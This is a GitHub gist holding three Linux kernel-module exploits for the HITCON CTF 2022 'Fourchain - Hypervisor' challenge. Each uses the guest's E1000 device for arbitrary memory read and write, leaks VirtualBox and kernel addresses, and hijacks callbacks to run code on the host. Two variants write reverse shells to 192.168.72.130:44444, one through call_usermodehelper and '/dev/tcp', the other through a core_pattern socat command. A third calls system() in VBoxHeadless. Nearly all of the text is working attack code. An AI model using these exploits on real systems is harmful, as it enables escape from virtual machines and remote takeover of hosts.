-
-
Save bruce30262/bcb1f78db231bc082f12adb7510a9973 to your computer and use it in GitHub Desktop.
Exploits for HITCON CTF 2022 Fourchain - Hypervisor
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
This exploit will call call_usermodehelper() in host's kernel space | |
*/ | |
#include <linux/kernel.h> | |
#include <linux/module.h> | |
#include <asm/io.h> | |
#include <linux/slab.h> | |
#include <linux/version.h> | |
#include <linux/module.h> | |
#include <linux/kernel.h> | |
#include <linux/gfp.h> | |
#include <linux/slab.h> | |
#include <linux/delay.h> | |
#include <asm/io.h> | |
#include <linux/miscdevice.h> | |
#include <linux/fs.h> | |
#include <linux/slab.h> | |
#include <linux/uaccess.h> | |
#define E1000_MMIO_BASE 0xf0000000 | |
#define IOAPIC_BASE 0xfec00000 | |
#define RT 0x00c3250f | |
#define WT 0x00c3270f | |
#define sll signed long long | |
sll table; | |
static int drv_open(struct inode *inode, struct file *filp); | |
static ssize_t drv_read(struct file *file, char __user *buf,size_t count, loff_t *ppos); | |
static struct file_operations drv_fops = { | |
open : drv_open, | |
read : drv_read | |
}; | |
static int drv_open(struct inode *inode, struct file *filp){ | |
printk(KERN_INFO "In drv_open\n"); | |
return 0; | |
} | |
static struct miscdevice pwn_miscdev = { | |
.minor = 100, | |
.name = "pwn", | |
.fops = &drv_fops, | |
}; | |
static size_t* to_page_entry(size_t cr3,size_t addr) { | |
size_t idx,i; | |
size_t val = cr3; | |
for(i=0;i<4;i++){ | |
val &= (0xfffffffff000UL); // physical address | |
val += PAGE_OFFSET; // alias page | |
idx = addr>>(12+(3-i)*9); | |
idx &= ((1<<9)-1); | |
if(i<3) | |
val = *((size_t*)(val+idx*8)); | |
else | |
return ((size_t*)(val+idx*8)); | |
} | |
return 0; | |
} | |
static size_t __attribute__((optimize("O0"))) read_table(int *inst, char *code, sll idx) { | |
inst[0x820/4] = RT; | |
size_t ret; | |
asm volatile( | |
"mov rbx,%[idx]\r\n;" | |
"mov rcx,%[code]\r\n;" | |
"call rcx\r\n;" | |
"mov %[ret], rax\r\n;" | |
:[ret]"=r"(ret) | |
:[idx]"r"(idx),[code]"r"(code+0x820) | |
:"rax","rbx","rcx" | |
); | |
return ret; | |
} | |
static size_t __attribute__((optimize("O0"))) arb_read(int *inst, char *code, sll addr) { | |
return read_table( inst, code, (addr - table)>>3 ); | |
} | |
static void __attribute__((optimize("O0"))) write_table(int *inst, char *code, sll idx, size_t val) { | |
inst[0x820/4] = WT; | |
asm volatile( | |
"mov rbx,%[idx]\r\n;" | |
"mov rax,%[val]\r\n;" | |
"mov rcx,%[code]\r\n;" | |
"call rcx\r\n;" | |
: | |
:[idx]"r"(idx),[val]"r"(val),[code]"r"(code+0x820) | |
:"rax","rbx","rcx" | |
); | |
} | |
static void __attribute__((optimize("O0"))) arb_write(int *inst, char *code, sll addr, size_t val) { | |
return write_table( inst, code, (addr - table)>>3, val ); | |
} | |
static void __attribute__((optimize("O0"))) write_string(int *inst, char *code, sll addr, char* string) { | |
int i = 0, cnt = 0, written = 0; | |
size_t val = 0; | |
int sz = strlen(string); | |
for (i = 0 ; i < sz+1 ; i++) { // to strlen(data)+1 so null byte will be written as well | |
val = val | (((size_t)string[i] & 0xff) << ( (i & 7) * 8 )); | |
if( (i & 7) == 7 ) { | |
arb_write(inst, code, (sll)(addr + (cnt*8)), val); | |
cnt++; | |
val = 0; | |
written = 1; | |
} else { | |
written = 0; | |
} | |
} | |
if(written == 0) { // need to write one last time | |
arb_write(inst, code, (sll)(addr + (cnt*8)), val); | |
} | |
} | |
static ssize_t drv_read(struct file *file, char __user *buf, size_t count, loff_t *ppos) { | |
printk(KERN_INFO "In drv_read\n"); | |
int* inst = ioremap(E1000_MMIO_BASE+0x5000,0x1000); | |
char* code = kmalloc(0x1000,GFP_KERNEL); | |
size_t cr3; | |
asm( | |
"mov %[val],cr3\r\n;" | |
:[val]"=r"(cr3):: | |
); | |
size_t* ent = to_page_entry(cr3,(size_t)code); | |
size_t* B = to_page_entry(cr3,(size_t)drv_read); | |
*ent = (E1000_MMIO_BASE+0x5000) | ( (*B)&0xff00000000000fffULL); | |
size_t i = 0, ret; | |
// leak VMMR0.r0's base | |
sll off_table = 0x1FC060; | |
sll off_iemAImpl_mul_u8 = 0x1dacd0; | |
size_t vmmr0_base = read_table(inst, code, (off_iemAImpl_mul_u8 - off_table)>>3 ) - 0x11a6a8; | |
printk(KERN_INFO "vmmr0_base: %px\n", vmmr0_base); | |
// leak vboxdrv.ko and kernel base | |
table = vmmr0_base + off_table; | |
size_t got_SUPR0EnableVTx = vmmr0_base + 0x1DB018; | |
size_t vboxdrv_base = arb_read(inst, code, (sll)got_SUPR0EnableVTx) - 0x8a0; | |
printk(KERN_INFO "vboxdrv_base: %px\n", vboxdrv_base); | |
size_t tmp = arb_read(inst, code, (sll)(vboxdrv_base+0x15a8a+1)); | |
tmp = (tmp >> 24)&0xffffffff; | |
printk(KERN_INFO "tmp: %px\n", tmp); | |
signed int kfree_offset = (signed int)(tmp); | |
printk(KERN_INFO "kfree_offset: %d\n", kfree_offset); | |
//size_t kernel_base = vboxdrv_base + 0x15a8a + 5 + kfree_offset - 0x2a2af0; // qemu | |
size_t kernel_base = vboxdrv_base + 0x15a8a + 5 + kfree_offset - 0x290ae0; // vagrant | |
//size_t call_usermodehelper = kernel_base + 0xa7fd0; // qemu | |
size_t call_usermodehelper = kernel_base + 0x9abf0; // vagrant | |
printk(KERN_INFO "kernel_base: %px\n", kernel_base); | |
printk(KERN_INFO "call_usermodehelper: %px\n", call_usermodehelper); | |
// leak PGVMM & PGVM | |
size_t g_pGVMM = arb_read(inst, code, (sll)(vmmr0_base + 0x1E9E68)); | |
printk(KERN_INFO "g_pGVMM: %px\n", g_pGVMM); | |
size_t pGVM = arb_read(inst, code, (sll)(g_pGVMM + 0xb8 + 0x8)); // g_pGVMM->aHandles[1]->pGVM | |
printk(KERN_INFO "pGVM: %px\n", pGVM); | |
// leak pGVM->iomr0.s.paMmioRegs (paRing0) | |
size_t paRing0 = arb_read(inst, code, (sll)(pGVM + 65336)); // g_pGVMM->aHandles[1]->pGVM->iomr0.s.paMmioRegs | |
printk(KERN_INFO "paRing0: %px\n", paRing0); | |
/* paRing0: Ring0 MMIO registration table, including entries for APIC, IO APIC, VGA, AHCI, E1000 | |
* We modify the entry of IO APIC | |
*/ | |
size_t pDevIns = arb_read(inst, code, (sll)(paRing0 + 0x38 + 0x10)); // DeviceIOAPIC->pDevIns | |
printk(KERN_INFO "pDevIns: %px\n", pDevIns); | |
// Construct argv | |
size_t argv_buf = paRing0 + 0x120; | |
size_t c_buf = paRing0 + 0x160; | |
size_t sh_buf = paRing0 + 0x190; | |
// write command string | |
write_string(inst, code, (sll)pDevIns, "/bin/bash"); // pDevIns = "/bin/bash" | |
write_string(inst, code, (sll)c_buf, "-c"); | |
write_string(inst, code, (sll)sh_buf, "sh</dev/tcp/192.168.72.130/44444"); | |
// write argv pointers | |
arb_write(inst, code, (sll)(argv_buf), pDevIns); // argv[0] = pDevIns = "/bin/bash" | |
arb_write(inst, code, (sll)(argv_buf + 0x8), c_buf); // argv[1] = "-c"; | |
arb_write(inst, code, (sll)(argv_buf + 0x10), sh_buf); // argv[2] = "sh</dev/tcp/192.168.72.130/44444"; | |
arb_write(inst, code, (sll)(argv_buf + 0x18), 0); // argv[3] = NULL; | |
// overwrite DeviceIOAPIC | |
arb_write(inst, code, (sll)(paRing0 + 0x38 + 0x8), argv_buf); // DeviceIOAPIC->pvUser = argv buf | |
arb_write(inst, code, (sll)(paRing0 + 0x38 + 0x18), call_usermodehelper); // DeviceIOAPIC->pfnWriteCallback = call_usermodehelper | |
// trigger ioapicMmioWrite | |
// this will call DeviceIOAPIC->pfnWriteCallback(DeviceIOAPIC->pDevIns, DeviceIOAPIC->pvUser, 0, <some pointer>, .....); | |
// which will now be call_usermodehelper("/bin/bash", argv, 0, <some pointer>). <some pointer> will not affect call_usermodehelper | |
uint8_t* inst2 = ioremap(IOAPIC_BASE, 0x1000); | |
inst2[0] = 0; | |
return 0; | |
} | |
int init_module(void) { | |
return misc_register(&pwn_miscdev); | |
} | |
void cleanup_module(void) { | |
misc_deregister(&pwn_miscdev); | |
} | |
MODULE_LICENSE("GPL"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
This exploit overwrite core_pattern and trigger SEGV in ring-3 to get code execution in host's kernel space | |
*/ | |
#include <linux/kernel.h> | |
#include <linux/module.h> | |
#include <asm/io.h> | |
#include <linux/slab.h> | |
#include <linux/version.h> | |
#include <linux/module.h> | |
#include <linux/kernel.h> | |
#include <linux/gfp.h> | |
#include <linux/slab.h> | |
#include <linux/delay.h> | |
#include <asm/io.h> | |
#include <linux/miscdevice.h> | |
#include <linux/fs.h> | |
#include <linux/slab.h> | |
#include <linux/uaccess.h> | |
#define E1000_MMIO_BASE 0xf0000000 | |
#define RT 0x00c3250f | |
#define WT 0x00c3270f | |
#define sll signed long long | |
sll table; | |
static int drv_open(struct inode *inode, struct file *filp); | |
static ssize_t drv_read(struct file *file, char __user *buf,size_t count, loff_t *ppos); | |
static struct file_operations drv_fops = { | |
open : drv_open, | |
read : drv_read | |
}; | |
static int drv_open(struct inode *inode, struct file *filp){ | |
printk(KERN_INFO "In drv_open\n"); | |
return 0; | |
} | |
static struct miscdevice pwn_miscdev = { | |
.minor = 100, | |
.name = "pwn", | |
.fops = &drv_fops, | |
}; | |
static size_t* to_page_entry(size_t cr3,size_t addr) { | |
size_t idx,i; | |
size_t val = cr3; | |
for(i=0;i<4;i++){ | |
val &= (0xfffffffff000UL); // physical address | |
val += PAGE_OFFSET; // alias page | |
idx = addr>>(12+(3-i)*9); | |
idx &= ((1<<9)-1); | |
if(i<3) | |
val = *((size_t*)(val+idx*8)); | |
else | |
return ((size_t*)(val+idx*8)); | |
} | |
return 0; | |
} | |
static size_t __attribute__((optimize("O0"))) read_table(int *inst, char *code, sll idx) { | |
inst[0x820/4] = RT; | |
size_t ret; | |
asm volatile( | |
"mov rbx,%[idx]\r\n;" | |
"mov rcx,%[code]\r\n;" | |
"call rcx\r\n;" | |
"mov %[ret], rax\r\n;" | |
:[ret]"=r"(ret) | |
:[idx]"r"(idx),[code]"r"(code+0x820) | |
:"rax","rbx","rcx" | |
); | |
return ret; | |
} | |
static size_t __attribute__((optimize("O0"))) arb_read(int *inst, char *code, sll addr) { | |
return read_table( inst, code, (addr - table)>>3 ); | |
} | |
static void __attribute__((optimize("O0"))) write_table(int *inst, char *code, sll idx, size_t val) { | |
inst[0x820/4] = WT; | |
asm volatile( | |
"mov rbx,%[idx]\r\n;" | |
"mov rax,%[val]\r\n;" | |
"mov rcx,%[code]\r\n;" | |
"call rcx\r\n;" | |
: | |
:[idx]"r"(idx),[val]"r"(val),[code]"r"(code+0x820) | |
:"rax","rbx","rcx" | |
); | |
} | |
static void __attribute__((optimize("O0"))) arb_write(int *inst, char *code, sll addr, size_t val) { | |
return write_table( inst, code, (addr - table)>>3, val ); | |
} | |
static void __attribute__((optimize("O0"))) write_string(int *inst, char *code, sll addr, char* string) { | |
int i = 0, cnt = 0, written = 0; | |
size_t val = 0; | |
int sz = strlen(string); | |
for (i = 0 ; i < sz+1 ; i++) { // to strlen(data)+1 so null byte will be written as well | |
val = val | (((size_t)string[i] & 0xff) << ( (i & 7) * 8 )); | |
if( (i & 7) == 7 ) { | |
arb_write(inst, code, (sll)(addr + (cnt*8)), val); | |
cnt++; | |
val = 0; | |
written = 1; | |
} else { | |
written = 0; | |
} | |
} | |
if(written == 0) { // need to write one last time | |
arb_write(inst, code, (sll)(addr + (cnt*8)), val); | |
} | |
} | |
static ssize_t drv_read(struct file *file, char __user *buf, size_t count, loff_t *ppos) { | |
printk(KERN_INFO "In drv_read\n"); | |
int* inst = ioremap(E1000_MMIO_BASE+0x5000,0x1000); | |
char* code = kmalloc(0x1000,GFP_KERNEL); | |
size_t cr3; | |
asm( | |
"mov %[val],cr3\r\n;" | |
:[val]"=r"(cr3):: | |
); | |
size_t* ent = to_page_entry(cr3,(size_t)code); | |
size_t* B = to_page_entry(cr3,(size_t)drv_read); | |
*ent = (E1000_MMIO_BASE+0x5000) | ( (*B)&0xff00000000000fffULL); | |
size_t i = 0, ret; | |
// leak VMMR0.r0's base | |
sll off_table = 0x1FC060; | |
sll off_iemAImpl_mul_u8 = 0x1dacd0; | |
size_t vmmr0_base = read_table(inst, code, (off_iemAImpl_mul_u8 - off_table)>>3 ) - 0x11a6a8; | |
printk(KERN_INFO "vmmr0_base: %px\n", vmmr0_base); | |
// leak vboxdrv.ko and kernel base | |
table = vmmr0_base + off_table; | |
size_t got_SUPR0EnableVTx = vmmr0_base + 0x1DB018; | |
size_t vboxdrv_base = arb_read(inst, code, (sll)got_SUPR0EnableVTx) - 0x8a0; | |
printk(KERN_INFO "vboxdrv_base: %px\n", vboxdrv_base); | |
size_t tmp = arb_read(inst, code, (sll)(vboxdrv_base+0x15a8a+1)); | |
tmp = (tmp >> 24)&0xffffffff; | |
printk(KERN_INFO "tmp: %px\n", tmp); | |
signed int kfree_offset = (signed int)(tmp); | |
printk(KERN_INFO "kfree_offset: %d\n", kfree_offset); | |
size_t kernel_base = vboxdrv_base + 0x15a8a + 5 + kfree_offset - 0x2a2af0; | |
printk(KERN_INFO "kernel_base: %px\n", kernel_base); | |
// overwrite core_pattern | |
size_t core_pattern = kernel_base + 0x17770c0; | |
size_t core = arb_read(inst, code, (sll)core_pattern); | |
printk(KERN_INFO "core: %px\n", core); | |
//write_string(inst, code, (sll)core_pattern, "|/usr/bin/touch /tmp/123"); | |
write_string(inst, code, (sll)core_pattern, "|/usr/bin/socat exec:'bash',pty,stderr,setsid,sigint,sane tcp:192.168.72.130:44444"); | |
core = arb_read(inst, code, (sll)core_pattern); | |
printk(KERN_INFO "core: %px\n", core); | |
// leak PGVMM & PGVM | |
size_t g_pGVMM = arb_read(inst, code, (sll)(vmmr0_base + 0x1E9E68)); | |
printk(KERN_INFO "g_pGVMM: %px\n", g_pGVMM); | |
size_t pGVM = arb_read(inst, code, (sll)(g_pGVMM + 0xb8 + 0x8)); // g_pGVMM->aHandles[1]->pGVM | |
printk(KERN_INFO "pGVM: %px\n", pGVM); | |
// leak pGVM->iom.s.paMmioRegs (r3Map) & pGVM->iomr0.s.paMmioRing3Regs (r0Map) | |
size_t r0Map = arb_read(inst, code, (sll)(pGVM + 65352)); // g_pGVMM->aHandles[1]->pGVM | |
size_t r3Map = arb_read(inst, code, (sll)(pGVM + 44152)); // g_pGVMM->aHandles[1]->pGVM | |
printk(KERN_INFO "r0Map: %px\n", r0Map); | |
printk(KERN_INFO "r3Map: %px\n", r3Map); | |
for (i = 0 ; i < 5 ; i++) { | |
size_t devin_off = (88 * i) + 0x18; // pDevIns | |
size_t write_cb_off = (88 * i) + 0x20; // pfnWriteCallback | |
size_t read_cb_off = (88 * i) + 0x28; // pfnReadCallback | |
arb_write(inst, code, (sll)(r0Map + devin_off), 0x1234); | |
arb_write(inst, code, (sll)(r0Map + write_cb_off), 0x1234); | |
arb_write(inst, code, (sll)(r0Map + read_cb_off), 0x1234); | |
} | |
// trigger crash | |
// this is a R3 MMIO write ( return VINF_IOM_R3_MMIO_WRITE; in e1kRegWriteEECD when Ring0) | |
int* inst2 = ioremap(E1000_MMIO_BASE,0x1000); | |
inst2[0x10/4]=0; | |
return 0; | |
} | |
int init_module(void) { | |
return misc_register(&pwn_miscdev); | |
} | |
void cleanup_module(void) { | |
misc_deregister(&pwn_miscdev); | |
} | |
MODULE_LICENSE("GPL"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
This exploit will call system() in host's user space ( hijack VBoxHeadless ) | |
*/ | |
#include <linux/kernel.h> | |
#include <linux/module.h> | |
#include <asm/io.h> | |
#include <linux/slab.h> | |
#include <linux/version.h> | |
#include <linux/module.h> | |
#include <linux/kernel.h> | |
#include <linux/gfp.h> | |
#include <linux/slab.h> | |
#include <linux/delay.h> | |
#include <asm/io.h> | |
#include <linux/miscdevice.h> | |
#include <linux/fs.h> | |
#include <linux/slab.h> | |
#include <linux/uaccess.h> | |
#define E1000_MMIO_BASE 0xf0000000 | |
#define IOAPIC_BASE 0xfec00000 | |
#define RT 0x00c3250f | |
#define WT 0x00c3270f | |
#define sll signed long long | |
sll table; | |
static int drv_open(struct inode *inode, struct file *filp); | |
static ssize_t drv_read(struct file *file, char __user *buf,size_t count, loff_t *ppos); | |
static struct file_operations drv_fops = { | |
open : drv_open, | |
read : drv_read | |
}; | |
static int drv_open(struct inode *inode, struct file *filp){ | |
printk(KERN_INFO "In drv_open\n"); | |
return 0; | |
} | |
static struct miscdevice pwn_miscdev = { | |
.minor = 100, | |
.name = "pwn", | |
.fops = &drv_fops, | |
}; | |
static size_t* to_page_entry(size_t cr3,size_t addr) { | |
size_t idx,i; | |
size_t val = cr3; | |
for(i=0;i<4;i++){ | |
val &= (0xfffffffff000UL); // physical address | |
val += PAGE_OFFSET; // alias page | |
idx = addr>>(12+(3-i)*9); | |
idx &= ((1<<9)-1); | |
if(i<3) | |
val = *((size_t*)(val+idx*8)); | |
else | |
return ((size_t*)(val+idx*8)); | |
} | |
return 0; | |
} | |
static size_t __attribute__((optimize("O0"))) read_table(int *inst, char *code, sll idx) { | |
inst[0x820/4] = RT; | |
size_t ret; | |
asm volatile( | |
"mov rbx,%[idx]\r\n;" | |
"mov rcx,%[code]\r\n;" | |
"call rcx\r\n;" | |
"mov %[ret], rax\r\n;" | |
:[ret]"=r"(ret) | |
:[idx]"r"(idx),[code]"r"(code+0x820) | |
:"rax","rbx","rcx" | |
); | |
return ret; | |
} | |
static size_t __attribute__((optimize("O0"))) arb_read(int *inst, char *code, sll addr) { | |
return read_table( inst, code, (addr - table)>>3 ); | |
} | |
static void __attribute__((optimize("O0"))) write_table(int *inst, char *code, sll idx, size_t val) { | |
inst[0x820/4] = WT; | |
asm volatile( | |
"mov rbx,%[idx]\r\n;" | |
"mov rax,%[val]\r\n;" | |
"mov rcx,%[code]\r\n;" | |
"call rcx\r\n;" | |
: | |
:[idx]"r"(idx),[val]"r"(val),[code]"r"(code+0x820) | |
:"rax","rbx","rcx" | |
); | |
} | |
static void __attribute__((optimize("O0"))) arb_write(int *inst, char *code, sll addr, size_t val) { | |
return write_table( inst, code, (addr - table)>>3, val ); | |
} | |
static void __attribute__((optimize("O0"))) write_string(int *inst, char *code, sll addr, char* string) { | |
int i = 0, cnt = 0, written = 0; | |
size_t val = 0; | |
int sz = strlen(string); | |
for (i = 0 ; i < sz+1 ; i++) { // to strlen(data)+1 so null byte will be written as well | |
val = val | (((size_t)string[i] & 0xff) << ( (i & 7) * 8 )); | |
if( (i & 7) == 7 ) { | |
arb_write(inst, code, (sll)(addr + (cnt*8)), val); | |
cnt++; | |
val = 0; | |
written = 1; | |
} else { | |
written = 0; | |
} | |
} | |
if(written == 0) { // need to write one last time | |
arb_write(inst, code, (sll)(addr + (cnt*8)), val); | |
} | |
} | |
static size_t __attribute__((optimize("O0"))) arb_read64_user(int *inst, char *code, size_t paRing0, uint8_t *inst2, size_t r0pDevIns, size_t addr) { | |
arb_write(inst, code, (sll)(paRing0 + 0x38 + 0x8), addr); // DeviceIOAPIC->pvUser = addr | |
// trigger DeviceIOAPIC->pfnWriteCallback, which is now copy_from_user | |
// it will execute copy_from_user(r0pDevIns, pvUser, offRegion) | |
// which is now copy_from_user(r0pDevIns, addr, 8) | |
// The content of addr (userspace address) will be copied into r0pDevIns | |
// So we just read the content from r0pDevIns and return the value | |
inst2[8] = 0; | |
return arb_read(inst, code, (sll)(r0pDevIns)); | |
} | |
static size_t __attribute__((optimize("O0"))) arb_readString_user(int *inst, char *code, size_t paRing0, uint8_t *inst2, size_t r0pDevIns, size_t addr, char *str) { | |
size_t cur_addr = addr; | |
while(true) { | |
uint8_t c = arb_read64_user(inst, code, paRing0, inst2, r0pDevIns, cur_addr) & 0xff; | |
str[cur_addr - addr] = (char)c; | |
if (c == 0) { | |
return; | |
} | |
cur_addr++; | |
} | |
} | |
static ssize_t drv_read(struct file *file, char __user *buf, size_t count, loff_t *ppos) { | |
printk(KERN_INFO "In drv_read\n"); | |
int* inst = ioremap(E1000_MMIO_BASE+0x5000,0x1000); | |
char* code = kmalloc(0x1000,GFP_KERNEL); | |
size_t cr3; | |
asm( | |
"mov %[val],cr3\r\n;" | |
:[val]"=r"(cr3):: | |
); | |
size_t* ent = to_page_entry(cr3,(size_t)code); | |
size_t* B = to_page_entry(cr3,(size_t)drv_read); | |
*ent = (E1000_MMIO_BASE+0x5000) | ( (*B)&0xff00000000000fffULL); | |
size_t i = 0, ret; | |
// leak VMMR0.r0's base | |
sll off_table = 0x1FC060; | |
sll off_iemAImpl_mul_u8 = 0x1dacd0; | |
size_t vmmr0_base = read_table(inst, code, (off_iemAImpl_mul_u8 - off_table)>>3 ) - 0x11a6a8; | |
printk(KERN_INFO "vmmr0_base: %px\n", vmmr0_base); | |
// leak vboxdrv.ko and copy_from_user | |
table = vmmr0_base + off_table; | |
size_t got_SUPR0EnableVTx = vmmr0_base + 0x1DB018; | |
size_t vboxdrv_base = arb_read(inst, code, (sll)got_SUPR0EnableVTx) - 0x8a0; | |
printk(KERN_INFO "vboxdrv_base: %px\n", vboxdrv_base); | |
size_t tmp0 = arb_read(inst, code, (sll)(vboxdrv_base+0x17764+1)); | |
size_t tmp1 = arb_read(inst, code, (sll)(vboxdrv_base+0x17764+4)); | |
tmp0 = (tmp0 >> 40)&0xffffff; | |
tmp1 = (tmp1 & 0xff) << 24; | |
size_t copy_from_user_offset = (signed int)(tmp0 | tmp1); | |
size_t copy_from_user = vboxdrv_base + 0x17764 + 5 + copy_from_user_offset; | |
printk(KERN_INFO "copy_from_user: %px\n", copy_from_user); | |
// leak PGVMM & PGVM | |
size_t g_pGVMM = arb_read(inst, code, (sll)(vmmr0_base + 0x1E9E68)); | |
printk(KERN_INFO "g_pGVMM: %px\n", g_pGVMM); | |
size_t pGVM = arb_read(inst, code, (sll)(g_pGVMM + 0xb8 + 0x8)); // g_pGVMM->aHandles[1]->pGVM | |
printk(KERN_INFO "pGVM: %px\n", pGVM); | |
// leak pGVM->iomr0.s.paMmioRegs (paRing0) | |
size_t paRing0 = arb_read(inst, code, (sll)(pGVM + 65336)); // g_pGVMM->aHandles[1]->pGVM->iomr0.s.paMmioRegs | |
printk(KERN_INFO "paRing0: %px\n", paRing0); | |
// leak pGVM->iom.s.paMmioRegs (r3Map) & pGVM->iomr0.s.paMmioRing3Regs (r0Map) | |
size_t r0Map = arb_read(inst, code, (sll)(pGVM + 65352)); // g_pGVMM->aHandles[1]->pGVM | |
size_t r3Map = arb_read(inst, code, (sll)(pGVM + 44152)); // g_pGVMM->aHandles[1]->pGVM | |
printk(KERN_INFO "r0Map: %px\n", r0Map); | |
printk(KERN_INFO "r3Map: %px\n", r3Map); | |
// prepare arb read64 user | |
size_t r0pDevIns = arb_read(inst, code, (sll)(paRing0 + 0x38 + 0x10)); // DeviceIOAPIC->pDevIns | |
arb_write(inst, code, (sll)(paRing0 + 0x38 + 0x18), copy_from_user); // DeviceIOAPIC->pfnWriteCallback = copy_from_user | |
uint8_t* inst2 = ioremap(IOAPIC_BASE, 0x1000); | |
// testing arb_read64_user | |
size_t data = arb_read64_user(inst, code, paRing0, inst2, r0pDevIns, r3Map); | |
printk(KERN_INFO "data: %px\n", data); | |
size_t e1kMMIORead = arb_read(inst, code, (sll)(r0Map + 0x188)); // e1kMMIORead | |
size_t vboxdd_base = e1kMMIORead - 0xff970; | |
size_t got_ioctl = vboxdd_base + 0x211bf0; | |
size_t ioctl = arb_read64_user(inst, code, paRing0, inst2, r0pDevIns, got_ioctl); | |
// get libc base | |
size_t libc_base = 0; | |
size_t cur_addr = ioctl & ~0xfff; | |
while (true) { | |
size_t cur_data = arb_read64_user(inst, code, paRing0, inst2, r0pDevIns, cur_addr); | |
if ( ( cur_data & 0xffffffff ) == 0x464c457f) { | |
libc_base = cur_addr; | |
break; | |
} | |
cur_addr -= 0x1000; | |
} | |
size_t libc_ph = arb_read64_user(inst, code, paRing0, inst2, r0pDevIns, libc_base + 0x20) + libc_base ; // libc program header | |
cur_addr = libc_ph; | |
// get dynamic section | |
size_t libc_dynamic = 0; | |
while(true) { | |
size_t type = arb_read64_user(inst, code, paRing0, inst2, r0pDevIns, cur_addr) & 0xffffffff; | |
size_t vaddr = arb_read64_user(inst, code, paRing0, inst2, r0pDevIns, cur_addr + 0x10); | |
if (type == 2) { // .dynamic | |
libc_dynamic = libc_base + vaddr; | |
break; | |
} | |
cur_addr += 0x38; | |
} | |
// get SYMTAB & STRTAB | |
size_t libc_symtab = 0; | |
size_t libc_strtab = 0; | |
cur_addr = libc_dynamic; | |
while(true) { | |
size_t type = arb_read64_user(inst, code, paRing0, inst2, r0pDevIns, cur_addr); | |
size_t vaddr = arb_read64_user(inst, code, paRing0, inst2, r0pDevIns, cur_addr + 8); | |
if (type == 0) { // END OF DYNAMIC | |
break; | |
} | |
if (type == 5) { // STRTAB | |
libc_strtab = vaddr; | |
} | |
if (type == 6) { // SYMTAB | |
libc_symtab = vaddr; | |
} | |
cur_addr += 0x10; | |
} | |
// scan for system | |
size_t system = 0; | |
char cur_str[256] = {}; | |
cur_addr = libc_symtab + 0x18; | |
while(true) { | |
memset(cur_str, 0, sizeof(cur_str)); | |
size_t st_name = arb_read64_user(inst, code, paRing0, inst2, r0pDevIns, cur_addr) & 0xffffffff; | |
size_t offset = arb_read64_user(inst, code, paRing0, inst2, r0pDevIns, cur_addr + 0x8); | |
arb_readString_user(inst, code, paRing0, inst2, r0pDevIns, libc_strtab + st_name, cur_str); | |
if(!strcmp(cur_str, "system")) { | |
system = libc_base + offset; | |
break; | |
} | |
cur_addr += 0x18; | |
} | |
printk(KERN_INFO "vboxdd_base: %px\n", vboxdd_base); | |
printk(KERN_INFO "libc_base: %px\n", libc_base); | |
printk(KERN_INFO "libc_dynamic: %px\n", libc_dynamic); | |
printk(KERN_INFO "libc_strtab: %px\n", libc_strtab); | |
printk(KERN_INFO "libc_symtab: %px\n", libc_symtab); | |
printk(KERN_INFO "system: %px\n", system); | |
// leak ring 3 DeviceE1000->pDevIns->pCritSectRoR3 | |
size_t r3pDevIns = arb_read(inst, code, (sll)(r0Map + 0x178)); // ring 3 DeviceE1000->pDevIns | |
size_t pCritSectRoR3 = arb_read64_user(inst, code, paRing0, inst2, r0pDevIns, r3pDevIns + 0x28); | |
printk(KERN_INFO "pCritSectRoR3: %px\n", pCritSectRoR3); | |
size_t fake_pDevIns = r0Map + 0x1c0; | |
size_t fake_pDevIns_r3 = r3Map + 0x1c0; | |
write_string(inst, code, (sll)(fake_pDevIns), "touch /tmp/123"); // fake_pDevIns points to cmd | |
arb_write(inst, code, (sll)(fake_pDevIns + 0x28), pCritSectRoR3); // fake_pDevIns->pCritSectRoR3 | |
arb_write(inst, code, (sll)(r0Map + 0x178), fake_pDevIns_r3); // ring 3 DeviceE1000->pDevIns = our fake pDevIns | |
arb_write(inst, code, (sll)(r0Map + 0x180), system); // ring 3 DeviceE1000->pfnWriteCallback = system | |
// this is a R3 MMIO write ( return VINF_IOM_R3_MMIO_WRITE; in e1kRegWriteEECD when Ring0) | |
int* inst3 = ioremap(E1000_MMIO_BASE,0x1000); | |
inst3[0x10/4]=0; | |
return 0; | |
} | |
int init_module(void) { | |
return misc_register(&pwn_miscdev); | |
} | |
void cleanup_module(void) { | |
misc_deregister(&pwn_miscdev); | |
} | |
MODULE_LICENSE("GPL"); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment